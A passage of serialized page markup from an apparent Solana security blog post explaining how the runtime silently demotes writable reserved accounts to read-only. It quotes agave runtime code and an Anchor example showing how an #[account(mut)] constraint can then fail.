message\n",{"type":24,"tag":271,"props":81303,"children":81304},{"class":273,"line":312},[81305,81309],{"type":24,"tag":271,"props":81306,"children":81307},{"style":624},[81308],{"type":29,"value":10899},{"type":24,"tag":271,"props":81310,"children":81311},{"style":288},[81312],{"type":29,"value":81313},"account_keys\n",{"type":24,"tag":271,"props":81315,"children":81316},{"class":273,"line":321},[81317,81321,81326],{"type":24,"tag":271,"props":81318,"children":81319},{"style":624},[81320],{"type":29,"value":10899},{"type":24,"tag":271,"props":81322,"children":81323},{"style":598},[81324],{"type":29,"value":81325},"iter",{"type":24,"tag":271,"props":81327,"children":81328},{"style":288},[81329],{"type":29,"value":15452},{"type":24,"tag":271,"props":81331,"children":81332},{"class":273,"line":330},[81333,81337,81342],{"type":24,"tag":271,"props":81334,"children":81335},{"style":624},[81336],{"type":29,"value":10899},{"type":24,"tag":271,"props":81338,"children":81339},{"style":598},[81340],{"type":29,"value":81341},"enumerate",{"type":24,"tag":271,"props":81343,"children":81344},{"style":288},[81345],{"type":29,"value":15452},{"type":24,"tag":271,"props":81347,"children":81348},{"class":273,"line":339},[81349,81353,81357,81361,81365,81369,81373,81377,81382,81386,81390],{"type":24,"tag":271,"props":81350,"children":81351},{"style":624},[81352],{"type":29,"value":10899},{"type":24,"tag":271,"props":81354,"children":81355},{"style":598},[81356],{"type":29,"value":73889},{"type":24,"tag":271,"props":81358,"children":81359},{"style":288},[81360],{"type":29,"value":606},{"type":24,"tag":271,"props":81362,"children":81363},{"style":624},[81364],{"type":29,"value":4076},{"type":24,"tag":271,"props":81366,"children":81367},{"style":288},[81368],{"type":29,"value":606},{"type":24,"tag":271,"props":81370,"children":81371},{"style":630},[81372],{"type":29,"value":11462},{"type":24,"tag":271,"props":81374,"children":81375},{"style":288},[81376],{"type":29,"value":158},{"type":24,"tag":271,"props":81378,"children":81379},{"style":630},[81380],{"type":29,"value":81381},"_key",{"type":24,"tag":271,"props":81383,"children":81384},{"style":288},[81385],{"type":29,"value":2693},{"type":24,"tag":271,"props":81387,"children":81388},{"style":624},[81389],{"type":29,"value":4076},{"type":24,"tag":271,"props":81391,"children":81392},{"style":288},[81393],{"type":29,"value":7145},{"type":24,"tag":271,"props":81395,"children":81396},{"class":273,"line":347},[81397,81402,81406,81411,81415,81419],{"type":24,"tag":271,"props":81398,"children":81399},{"style":630},[81400],{"type":29,"value":81401}," message",{"type":24,"tag":271,"props":81403,"children":81404},{"style":624},[81405],{"type":29,"value":41},{"type":24,"tag":271,"props":81407,"children":81408},{"style":598},[81409],{"type":29,"value":81410},"is_writable_index",{"type":24,"tag":271,"props":81412,"children":81413},{"style":288},[81414],{"type":29,"value":606},{"type":24,"tag":271,"props":81416,"children":81417},{"style":630},[81418],{"type":29,"value":11462},{"type":24,"tag":271,"props":81420,"children":81421},{"style":288},[81422],{"type":29,"value":694},{"type":24,"tag":271,"props":81424,"children":81425},{"class":273,"line":356},[81426,81431,81435,81439,81443,81448,81452,81456,81460,81464,81469,81473],{"type":24,"tag":271,"props":81427,"children":81428},{"style":624},[81429],{"type":29,"value":81430}," &&",{"type":24,"tag":271,"props":81432,"children":81433},{"style":624},[81434],{"type":29,"value":20564},{"type":24,"tag":271,"props":81436,"children":81437},{"style":630},[81438],{"type":29,"value":81242},{"type":24,"tag":271,"props":81440,"children":81441},{"style":624},[81442],{"type":29,"value":41},{"type":24,"tag":271,"props":81444,"children":81445},{"style":598},[81446],{"type":29,"value":81447},"contains",{"type":24,"tag":271,"props":81449,"children":81450},{"style":288},[81451],{"type":29,"value":606},{"type":24,"tag":271,"props":81453,"children":81454},{"style":624},[81455],{"type":29,"value":1137},{"type":24,"tag":271,"props":81457,"children":81458},{"style":630},[81459],{"type":29,"value":74824},{"type":24,"tag":271,"props":81461,"children":81462},{"style":624},[81463],{"type":29,"value":41},{"type":24,"tag":271,"props":81465,"children":81466},{"style":288},[81467],{"type":29,"value":81468},"account_keys[",{"type":24,"tag":271,"props":81470,"children":81471},{"style":630},[81472],{"type":29,"value":11462},{"type":24,"tag":271,"props":81474,"children":81475},{"style":288},[81476],{"type":29,"value":5085},{"type":24,"tag":271,"props":81478,"children":81479},{"class":273,"line":365},[81480,81484,81488,81492,81496,81501,81505,81509],{"type":24,"tag":271,"props":81481,"children":81482},{"style":624},[81483],{"type":29,"value":81430},{"type":24,"tag":271,"props":81485,"children":81486},{"style":624},[81487],{"type":29,"value":20564},{"type":24,"tag":271,"props":81489,"children":81490},{"style":630},[81491],{"type":29,"value":74824},{"type":24,"tag":271,"props":81493,"children":81494},{"style":624},[81495],{"type":29,"value":41},{"type":24,"tag":271,"props":81497,"children":81498},{"style":598},[81499],{"type":29,"value":81500},"demote_program_id",{"type":24,"tag":271,"props":81502,"children":81503},{"style":288},[81504],{"type":29,"value":606},{"type":24,"tag":271,"props":81506,"children":81507},{"style":630},[81508],{"type":29,"value":11462},{"type":24,"tag":271,"props":81510,"children":81511},{"style":288},[81512],{"type":29,"value":694},{"type":24,"tag":271,"props":81514,"children":81515},{"class":273,"line":374},[81516],{"type":24,"tag":271,"props":81517,"children":81518},{"style":288},[81519],{"type":29,"value":81520}," })\n",{"type":24,"tag":271,"props":81522,"children":81523},{"class":273,"line":384},[81524,81528,81533,81537,81541,81545,81549,81553],{"type":24,"tag":271,"props":81525,"children":81526},{"style":624},[81527],{"type":29,"value":10899},{"type":24,"tag":271,"props":81529,"children":81530},{"style":598},[81531],{"type":29,"value":81532},"collect",{"type":24,"tag":271,"props":81534,"children":81535},{"style":624},[81536],{"type":29,"value":11207},{"type":24,"tag":271,"props":81538,"children":81539},{"style":288},[81540],{"type":29,"value":801},{"type":24,"tag":271,"props":81542,"children":81543},{"style":3887},[81544],{"type":29,"value":24904},{"type":24,"tag":271,"props":81546,"children":81547},{"style":288},[81548],{"type":29,"value":801},{"type":24,"tag":271,"props":81550,"children":81551},{"style":630},[81552],{"type":29,"value":10818},{"type":24,"tag":271,"props":81554,"children":81555},{"style":288},[81556],{"type":29,"value":81557},">>();\n",{"type":24,"tag":271,"props":81559,"children":81560},{"class":273,"line":393},[81561,81566],{"type":24,"tag":271,"props":81562,"children":81563},{"style":278},[81564],{"type":29,"value":81565}," Self",{"type":24,"tag":271,"props":81567,"children":81568},{"style":288},[81569],{"type":29,"value":7145},{"type":24,"tag":271,"props":81571,"children":81572},{"class":273,"line":402},[81573,81578,81582,81587,81591,81596,81600,81604],{"type":24,"tag":271,"props":81574,"children":81575},{"style":630},[81576],{"type":29,"value":81577}," message",{"type":24,"tag":271,"props":81579,"children":81580},{"style":624},[81581],{"type":29,"value":12210},{"type":24,"tag":271,"props":81583,"children":81584},{"style":3887},[81585],{"type":29,"value":81586}," Cow",{"type":24,"tag":271,"props":81588,"children":81589},{"style":624},[81590],{"type":29,"value":11207},{"type":24,"tag":271,"props":81592,"children":81593},{"style":598},[81594],{"type":29,"value":81595},"Owned",{"type":24,"tag":271,"props":81597,"children":81598},{"style":288},[81599],{"type":29,"value":606},{"type":24,"tag":271,"props":81601,"children":81602},{"style":630},[81603],{"type":29,"value":74824},{"type":24,"tag":271,"props":81605,"children":81606},{"style":288},[81607],{"type":29,"value":14453},{"type":24,"tag":271,"props":81609,"children":81610},{"class":273,"line":411},[81611,81616],{"type":24,"tag":271,"props":81612,"children":81613},{"style":630},[81614],{"type":29,"value":81615}," is_writable_account_cache",{"type":24,"tag":271,"props":81617,"children":81618},{"style":288},[81619],{"type":29,"value":638},{"type":24,"tag":271,"props":81621,"children":81622},{"class":273,"line":420},[81623],{"type":24,"tag":271,"props":81624,"children":81625},{"style":288},[81626],{"type":29,"value":7574},{"type":24,"tag":271,"props":81628,"children":81629},{"class":273,"line":429},[81630],{"type":24,"tag":271,"props":81631,"children":81632},{"style":288},[81633],{"type":29,"value":4385},{"type":24,"tag":271,"props":81635,"children":81636},{"class":273,"line":438},[81637],{"type":24,"tag":271,"props":81638,"children":81639},{"style":288},[81640],{"type":29,"value":1171},{"type":24,"tag":271,"props":81642,"children":81643},{"class":273,"line":447},[81644],{"type":24,"tag":271,"props":81645,"children":81646},{"emptyLinePlaceholder":16},[81647],{"type":29,"value":327},{"type":24,"tag":271,"props":81649,"children":81650},{"class":273,"line":455},[81651],{"type":24,"tag":271,"props":81652,"children":81653},{"style":2058},[81654],{"type":29,"value":81655},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":24,"tag":271,"props":81657,"children":81658},{"class":273,"line":464},[81659,81663,81667,81672,81676,81680,81684,81688,81692,81696,81700,81704,81708,81712],{"type":24,"tag":271,"props":81660,"children":81661},{"style":278},[81662],{"type":29,"value":21391},{"type":24,"tag":271,"props":81664,"children":81665},{"style":278},[81666],{"type":29,"value":21396},{"type":24,"tag":271,"props":81668,"children":81669},{"style":598},[81670],{"type":29,"value":81671}," demote_program_id",{"type":24,"tag":271,"props":81673,"children":81674},{"style":288},[81675],{"type":29,"value":606},{"type":24,"tag":271,"props":81677,"children":81678},{"style":624},[81679],{"type":29,"value":1137},{"type":24,"tag":271,"props":81681,"children":81682},{"style":278},[81683],{"type":29,"value":21414},{"type":24,"tag":271,"props":81685,"children":81686},{"style":288},[81687],{"type":29,"value":158},{"type":24,"tag":271,"props":81689,"children":81690},{"style":630},[81691],{"type":29,"value":11462},{"type":24,"tag":271,"props":81693,"children":81694},{"style":624},[81695],{"type":29,"value":12210},{"type":24,"tag":271,"props":81697,"children":81698},{"style":3887},[81699],{"type":29,"value":21432},{"type":24,"tag":271,"props":81701,"children":81702},{"style":288},[81703],{"type":29,"value":8823},{"type":24,"tag":271,"props":81705,"children":81706},{"style":624},[81707],{"type":29,"value":786},{"type":24,"tag":271,"props":81709,"children":81710},{"style":3887},[81711],{"type":29,"value":19753},{"type":24,"tag":271,"props":81713,"children":81714},{"style":288},[81715],{"type":29,"value":7145},{"type":24,"tag":271,"props":81717,"children":81718},{"class":273,"line":473},[81719,81723,81727,81732,81736,81740,81744,81748,81752,81756,81760,81765],{"type":24,"tag":271,"props":81720,"children":81721},{"style":278},[81722],{"type":29,"value":28473},{"type":24,"tag":271,"props":81724,"children":81725},{"style":624},[81726],{"type":29,"value":41},{"type":24,"tag":271,"props":81728,"children":81729},{"style":598},[81730],{"type":29,"value":81731},"is_key_called_as_program",{"type":24,"tag":271,"props":81733,"children":81734},{"style":288},[81735],{"type":29,"value":606},{"type":24,"tag":271,"props":81737,"children":81738},{"style":630},[81739],{"type":29,"value":11462},{"type":24,"tag":271,"props":81741,"children":81742},{"style":288},[81743],{"type":29,"value":8823},{"type":24,"tag":271,"props":81745,"children":81746},{"style":624},[81747],{"type":29,"value":79985},{"type":24,"tag":271,"props":81749,"children":81750},{"style":624},[81751],{"type":29,"value":20564},{"type":24,"tag":271,"props":81753,"children":81754},{"style":278},[81755],{"type":29,"value":21414},{"type":24,"tag":271,"props":81757,"children":81758},{"style":624},[81759],{"type":29,"value":41},{"type":24,"tag":271,"props":81761,"children":81762},{"style":598},[81763],{"type":29,"value":81764},"is_upgradeable_loader_present",{"type":24,"tag":271,"props":81766,"children":81767},{"style":288},[81768],{"type":29,"value":15452},{"type":24,"tag":271,"props":81770,"children":81771},{"class":273,"line":483},[81772],{"type":24,"tag":271,"props":81773,"children":81774},{"style":288},[81775],{"type":29,"value":1171},{"type":24,"tag":25,"props":81777,"children":81778},{},[81779],{"type":29,"value":81780},"As you can see, there are two main causes of write-demotion:",{"type":24,"tag":3834,"props":81782,"children":81783},{},[81784,81796],{"type":24,"tag":101,"props":81785,"children":81786},{},[81787,81789],{"type":29,"value":81788},"The account appears in the ",{"type":24,"tag":32,"props":81790,"children":81793},{"href":81791,"rel":81792},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[36],[81794],{"type":29,"value":81795},"reserved account list",{"type":24,"tag":101,"props":81797,"children":81798},{},[81799],{"type":29,"value":81800},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":24,"tag":25,"props":81802,"children":81803},{},[81804],{"type":29,"value":81805},"The second case is generally covered by the executable check implemented previously.",{"type":24,"tag":25,"props":81807,"children":81808},{},[81809],{"type":29,"value":81810},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":24,"tag":26585,"props":81812,"children":81814},{"id":81813},"the-reserved-account-list",[81815],{"type":29,"value":81816},"The Reserved Account List",{"type":24,"tag":25,"props":81818,"children":81819},{},[81820,81822,81827],{"type":29,"value":81821},"The Solana runtime maintains a ",{"type":24,"tag":32,"props":81823,"children":81825},{"href":81791,"rel":81824},[36],[81826],{"type":29,"value":81795},{"type":29,"value":81828},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":24,"tag":25,"props":81830,"children":81831},{},[81832,81834,81841,81843,81848],{"type":29,"value":81833},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":24,"tag":32,"props":81835,"children":81838},{"href":81836,"rel":81837},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[36],[81839],{"type":29,"value":81840},"feature gate is actived",{"type":29,"value":81842},", the runtime will ",{"type":24,"tag":213,"props":81844,"children":81845},{},[81846],{"type":29,"value":81847},"automatically demote them to read-only",{"type":29,"value":81849},", even if the transaction marked them as writable.",{"type":24,"tag":261,"props":81851,"children":81853},{"className":10718,"code":81852,"language":10717,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n reserved_keys.update_active_set(&self.feature_set);\n Arc::new(reserved_keys)\n};\n",[81854],{"type":24,"tag":135,"props":81855,"children":81856},{"__ignoreMap":7},[81857,81865,81873,81897,81951,81989,82018],{"type":24,"tag":271,"props":81858,"children":81859},{"class":273,"line":274},[81860],{"type":24,"tag":271,"props":81861,"children":81862},{"style":2058},[81863],{"type":29,"value":81864},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":24,"tag":271,"props":81866,"children":81867},{"class":273,"line":284},[81868],{"type":24,"tag":271,"props":81869,"children":81870},{"style":2058},[81871],{"type":29,"value":81872},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":24,"tag":271,"props":81874,"children":81875},{"class":273,"line":294},[81876,81880,81884,81889,81893],{"type":24,"tag":271,"props":81877,"children":81878},{"style":278},[81879],{"type":29,"value":21414},{"type":24,"tag":271,"props":81881,"children":81882},{"style":624},[81883],{"type":29,"value":41},{"type":24,"tag":271,"props":81885,"children":81886},{"style":288},[81887],{"type":29,"value":81888},"reserved_account_keys ",{"type":24,"tag":271,"props":81890,"children":81891},{"style":624},[81892],{"type":29,"value":762},{"type":24,"tag":271,"props":81894,"children":81895},{"style":288},[81896],{"type":29,"value":7145},{"type":24,"tag":271,"props":81898,"children":81899},{"class":273,"line":303},[81900,81904,81908,81913,81917,81922,81926,81930,81934,81938,81942,81946],{"type":24,"tag":271,"props":81901,"children":81902},{"style":278},[81903],{"type":29,"value":10738},{"type":24,"tag":271,"props":81905,"children":81906},{"style":278},[81907],{"type":29,"value":10743},{"type":24,"tag":271,"props":81909,"children":81910},{"style":630},[81911],{"type":29,"value":81912}," reserved_keys",{"type":24,"tag":271,"props":81914,"children":81915},{"style":624},[81916],{"type":29,"value":1712},{"type":24,"tag":271,"props":81918,"children":81919},{"style":3887},[81920],{"type":29,"value":81921}," ReservedAccountKeys",{"type":24,"tag":271,"props":81923,"children":81924},{"style":624},[81925],{"type":29,"value":11207},{"type":24,"tag":271,"props":81927,"children":81928},{"style":598},[81929],{"type":29,"value":23117},{"type":24,"tag":271,"props":81931,"children":81932},{"style":288},[81933],{"type":29,"value":606},{"type":24,"tag":271,"props":81935,"children":81936},{"style":624},[81937],{"type":29,"value":1137},{"type":24,"tag":271,"props":81939,"children":81940},{"style":278},[81941],{"type":29,"value":21414},{"type":24,"tag":271,"props":81943,"children":81944},{"style":624},[81945],{"type":29,"value":41},{"type":24,"tag":271,"props":81947,"children":81948},{"style":288},[81949],{"type":29,"value":81950},"reserved_account_keys);\n",{"type":24,"tag":271,"props":81952,"children":81953},{"class":273,"line":312},[81954,81959,81963,81968,81972,81976,81980,81984],{"type":24,"tag":271,"props":81955,"children":81956},{"style":630},[81957],{"type":29,"value":81958}," reserved_keys",{"type":24,"tag":271,"props":81960,"children":81961},{"style":624},[81962],{"type":29,"value":41},{"type":24,"tag":271,"props":81964,"children":81965},{"style":598},[81966],{"type":29,"value":81967},"update_active_set",{"type":24,"tag":271,"props":81969,"children":81970},{"style":288},[81971],{"type":29,"value":606},{"type":24,"tag":271,"props":81973,"children":81974},{"style":624},[81975],{"type":29,"value":1137},{"type":24,"tag":271,"props":81977,"children":81978},{"style":278},[81979],{"type":29,"value":21414},{"type":24,"tag":271,"props":81981,"children":81982},{"style":624},[81983],{"type":29,"value":41},{"type":24,"tag":271,"props":81985,"children":81986},{"style":288},[81987],{"type":29,"value":81988},"feature_set);\n",{"type":24,"tag":271,"props":81990,"children":81991},{"class":273,"line":321},[81992,81997,82001,82005,82009,82014],{"type":24,"tag":271,"props":81993,"children":81994},{"style":3887},[81995],{"type":29,"value":81996}," Arc",{"type":24,"tag":271,"props":81998,"children":81999},{"style":624},[82000],{"type":29,"value":11207},{"type":24,"tag":271,"props":82002,"children":82003},{"style":598},[82004],{"type":29,"value":22819},{"type":24,"tag":271,"props":82006,"children":82007},{"style":288},[82008],{"type":29,"value":606},{"type":24,"tag":271,"props":82010,"children":82011},{"style":630},[82012],{"type":29,"value":82013},"reserved_keys",{"type":24,"tag":271,"props":82015,"children":82016},{"style":288},[82017],{"type":29,"value":694},{"type":24,"tag":271,"props":82019,"children":82020},{"class":273,"line":330},[82021],{"type":24,"tag":271,"props":82022,"children":82023},{"style":288},[82024],{"type":29,"value":4006},{"type":24,"tag":26585,"props":82026,"children":82028},{"id":82027},"consequences-silent-failures-and-bricked-programs",[82029],{"type":29,"value":82030},"Consequences: Silent Failures and Bricked Programs",{"type":24,"tag":25,"props":82032,"children":82033},{},[82034],{"type":29,"value":82035},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":24,"tag":261,"props":82037,"children":82039},{"className":10718,"code":82038,"language":10717,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n",[82040],{"type":24,"tag":135,"props":82041,"children":82042},{"__ignoreMap":7},[82043,82058,82085,82100,82139,82146,82193,82224,82231,82246,82277,82284,82299,82330],{"type":24,"tag":271,"props":82044,"children":82045},{"class":273,"line":274},[82046,82050,82054],{"type":24,"tag":271,"props":82047,"children":82048},{"style":288},[82049],{"type":29,"value":30523},{"type":24,"tag":271,"props":82051,"children":82052},{"style":3887},[82053],{"type":29,"value":30528},{"type":24,"tag":271,"props":82055,"children":82056},{"style":288},[82057],{"type":29,"value":27947},{"type":24,"tag":271,"props":82059,"children":82060},{"class":273,"line":284},[82061,82065,82069,82073,82077,82081],{"type":24,"tag":271,"props":82062,"children":82063},{"style":278},[82064],{"type":29,"value":21391},{"type":24,"tag":271,"props":82066,"children":82067},{"style":278},[82068],{"type":29,"value":616},{"type":24,"tag":271,"props":82070,"children":82071},{"style":3887},[82072],{"type":29,"value":78098},{"type":24,"tag":271,"props":82074,"children":82075},{"style":288},[82076],{"type":29,"value":30608},{"type":24,"tag":271,"props":82078,"children":82079},{"style":3887},[82080],{"type":29,"value":30613},{"type":24,"tag":271,"props":82082,"children":82083},{"style":288},[82084],{"type":29,"value":14997},{"type":24,"tag":271,"props":82086,"children":82087},{"class":273,"line":294},[82088,82092,82096],{"type":24,"tag":271,"props":82089,"children":82090},{"style":288},[82091],{"type":29,"value":30814},{"type":24,"tag":271,"props":82093,"children":82094},{"style":278},[82095],{"type":29,"value":11448},{"type":24,"tag":271,"props":82097,"children":82098},{"style":288},[82099],{"type":29,"value":27947},{"type":24,"tag":271,"props":82101,"children":82102},{"class":273,"line":303},[82103,82107,82111,82115,82119,82123,82127,82131,82135],{"type":24,"tag":271,"props":82104,"children":82105},{"style":278},[82106],{"type":29,"value":28530},{"type":24,"tag":271,"props":82108,"children":82109},{"style":630},[82110],{"type":29,"value":78137},{"type":24,"tag":271,"props":82112,"children":82113},{"style":624},[82114],{"type":29,"value":12210},{"type":24,"tag":271,"props":82116,"children":82117},{"style":3887},[82118],{"type":29,"value":30779},{"type":24,"tag":271,"props":82120,"children":82121},{"style":288},[82122],{"type":29,"value":30608},{"type":24,"tag":271,"props":82124,"children":82125},{"style":3887},[82126],{"type":29,"value":30613},{"type":24,"tag":271,"props":82128,"children":82129},{"style":288},[82130],{"type":29,"value":158},{"type":24,"tag":271,"props":82132,"children":82133},{"style":3887},[82134],{"type":29,"value":78162},{"type":24,"tag":271,"props":82136,"children":82137},{"style":288},[82138],{"type":29,"value":13855},{"type":24,"tag":271,"props":82140,"children":82141},{"class":273,"line":312},[82142],{"type":24,"tag":271,"props":82143,"children":82144},{"emptyLinePlaceholder":16},[82145],{"type":29,"value":327},{"type":24,"tag":271,"props":82147,"children":82148},{"class":273,"line":321},[82149,82153,82157,82161,82165,82169,82173,82177,82181,82185,82189],{"type":24,"tag":271,"props":82150,"children":82151},{"style":288},[82152],{"type":29,"value":30814},{"type":24,"tag":271,"props":82154,"children":82155},{"style":278},[82156],{"type":29,"value":11448},{"type":24,"tag":271,"props":82158,"children":82159},{"style":288},[82160],{"type":29,"value":78197},{"type":24,"tag":271,"props":82162,"children":82163},{"style":624},[82164],{"type":29,"value":762},{"type":24,"tag":271,"props":82166,"children":82167},{"style":288},[82168],{"type":29,"value":78206},{"type":24,"tag":271,"props":82170,"children":82171},{"style":624},[82172],{"type":29,"value":41},{"type":24,"tag":271,"props":82174,"children":82175},{"style":288},[82176],{"type":29,"value":78215},{"type":24,"tag":271,"props":82178,"children":82179},{"style":624},[82180],{"type":29,"value":5059},{"type":24,"tag":271,"props":82182,"children":82183},{"style":288},[82184],{"type":29,"value":78137},{"type":24,"tag":271,"props":82186,"children":82187},{"style":624},[82188],{"type":29,"value":41},{"type":24,"tag":271,"props":82190,"children":82191},{"style":288},[82192],{"type":29,"value":78232},{"type":24,"tag":271,"props":82194,"children":82195},{"class":273,"line":330},[82196,82200,82204,82208,82212,82216,82220],{"type":24,"tag":271,"props":82197,"children":82198},{"style":278},[82199],{"type":29,"value":28530},{"type":24,"tag":271,"props":82201,"children":82202},{"style":630},[82203],{"type":29,"value":78206},{"type":24,"tag":271,"props":82205,"children":82206},{"style":624},[82207],{"type":29,"value":12210},{"type":24,"tag":271,"props":82209,"children":82210},{"style":3887},[82211],{"type":29,"value":33074},{"type":24,"tag":271,"props":82213,"children":82214},{"style":288},[82215],{"type":29,"value":30608},{"type":24,"tag":271,"props":82217,"children":82218},{"style":3887},[82219],{"type":29,"value":30613},{"type":24,"tag":271,"props":82221,"children":82222},{"style":288},[82223],{"type":29,"value":13855},{"type":24,"tag":271,"props":82225,"children":82226},{"class":273,"line":339},[82227],{"type":24,"tag":271,"props":82228,"children":82229},{"emptyLinePlaceholder":16},[82230],{"type":29,"value":327},{"type":24,"tag":271,"props":82232,"children":82233},{"class":273,"line":347},[82234,82238,82242],{"type":24,"tag":271,"props":82235,"children":82236},{"style":288},[82237],{"type":29,"value":30814},{"type":24,"tag":271,"props":82239,"children":82240},{"style":278},[82241],{"type":29,"value":11448},{"type":24,"tag":271,"props":82243,"children":82244},{"style":288},[82245],{"type":29,"value":27947},{"type":24,"tag":271,"props":82247,"children":82248},{"class":273,"line":356},[82249,82253,82257,82261,82265,82269,82273],{"type":24,"tag":271,"props":82250,"children":82251},{"style":278},[82252],{"type":29,"value":28530},{"type":24,"tag":271,"props":82254,"children":82255},{"style":630},[82256],{"type":29,"value":78305},{"type":24,"tag":271,"props":82258,"children":82259},{"style":624},[82260],{"type":29,"value":12210},{"type":24,"tag":271,"props":82262,"children":82263},{"style":3887},[82264],{"type":29,"value":33074},{"type":24,"tag":271,"props":82266,"children":82267},{"style":288},[82268],{"type":29,"value":30608},{"type":24,"tag":271,"props":82270,"children":82271},{"style":3887},[82272],{"type":29,"value":30613},{"type":24,"tag":271,"props":82274,"children":82275},{"style":288},[82276],{"type":29,"value":13855},{"type":24,"tag":271,"props":82278,"children":82279},{"class":273,"line":365},[82280],{"type":24,"tag":271,"props":82281,"children":82282},{"emptyLinePlaceholder":16},[82283],{"type":29,"value":327},{"type":24,"tag":271,"props":82285,"children":82286},{"class":273,"line":374},[82287,82291,82295],{"type":24,"tag":271,"props":82288,"children":82289},{"style":288},[82290],{"type":29,"value":30814},{"type":24,"tag":271,"props":82292,"children":82293},{"style":278},[82294],{"type":29,"value":11448},{"type":24,"tag":271,"props":82296,"children":82297},{"style":288},[82298],{"type":29,"value":27947},{"type":24,"tag":271,"props":82300,"children":82301},{"class":273,"line":384},[82302,82306,82310,82314,82318,82322,82326],{"type":24,"tag":271,"props":82303,"children":82304},{"style":278},[82305],{"type":29,"value":28530},{"type":24,"tag":271,"props":82307,"children":82308},{"style":630},[82309],{"type":29,"value":49906},{"type":24,"tag":271,"props":82311,"children":82312},{"style":624},[82313],{"type":29,"value":12210},{"type":24,"tag":271,"props":82315,"children":82316},{"style":3887},[82317],{"type":29,"value":30843},{"type":24,"tag":271,"props":82319,"children":82320},{"style":288},[82321],{"type":29,"value":30608},{"type":24,"tag":271,"props":82323,"children":82324},{"style":3887},[82325],{"type":29,"value":30613},{"type":24,"tag":271,"props":82327,"children":82328},{"style":288},[82329],{"type":29,"value":13855},{"type":24,"tag":271,"props":82331,"children":82332},{"class":273,"line":393},[82333],{"type":24,"tag":271,"props":82334,"children":82335},{"style":288},[82336],{"type":29,"value":1171},{"type":24,"tag":25,"props":82338,"children":82339},{},[82340,82342,82348,82350,82356],{"type":29,"value":82341},"This works fine — until one day, ",{"type":24,"tag":135,"props":82343,"children":82345},{"className":82344},[],[82346],{"type":29,"value":82347},"old_king",{"type":29,"value":82349}," is silently demoted. Suddenly, the ",{"type":24,"tag":135,"props":82351,"children":82353},{"className":82352},[],[82354],{"type":29,"value":82355},"#[account(mut)]",{"type":29,"value":82357}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":24,"tag":26585,"props":82359,"children":82361},{"id":82360},"real-world-example-write-demotion-with-secp256r1_program",[82362,82364],{"type":29,"value":82363},"Real-World Example: Write-Demotion with ",{"type":24,"tag":135,"props":82365,"children":82367},{"className":82366},[],[82368],{"type":29,"value":82369},"secp256r1_program",{"type":24,"tag":25,"props":82371,"children":82372},{},[82373,82375,82380],{"type":29,"value":82374},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":24,"tag":135,"props":82376,"children":82378},{"className":82377},[],[82379],{"type":29,"value":82369},{"type":29,"value":82381},", a precompiled program gated behind a feature flag:",{"type":24,"tag":261,"props":82383,"children":82385},{"className":10718,"code":82384,"language":10717,"meta":7,"style":7},"ReservedAccount::new_pending(\n secp256r1_program::id(),\n feature_set::enable_secp256r1_precompile::id(),\n)\n",[82386],{"type":24,"tag":135,"props":82387,"children":82388},{"__ignoreMap":7},[82389,82410,82430,82459],{"type":24,"tag":271,"props":82390,"children":82391},{"class":273,"line":274},[82392,82397,82401,82406],{"type":24,"tag":271,"props":82393,"children":82394},{"style":3887},[82395],{"type":29,"value":82396},"ReservedAccount",{"type":24,"tag":271,"props":82398,"children":82399},{"style":624},[82400],{"type":29,"value":11207},{"type":24,"tag":271,"props":82402,"children":82403},{"style":598},[82404],{"type":29,"value":82405},"new_pending",{"type":24,"tag":271,"props":82407,"children":82408},{"style":288},[82409],{"type":29,"value":4028},{"type":24,"tag":271,"props":82411,"children":82412},{"class":273,"line":284},[82413,82418,82422,82426],{"type":24,"tag":271,"props":82414,"children":82415},{"style":288},[82416],{"type":29,"value":82417}," secp256r1_program",{"type":24,"tag":271,"props":82419,"children":82420},{"style":624},[82421],{"type":29,"value":11207},{"type":24,"tag":271,"props":82423,"children":82424},{"style":598},[82425],{"type":29,"value":11212},{"type":24,"tag":271,"props":82427,"children":82428},{"style":288},[82429],{"type":29,"value":11217},{"type":24,"tag":271,"props":82431,"children":82432},{"class":273,"line":294},[82433,82438,82442,82447,82451,82455],{"type":24,"tag":271,"props":82434,"children":82435},{"style":288},[82436],{"type":29,"value":82437}," 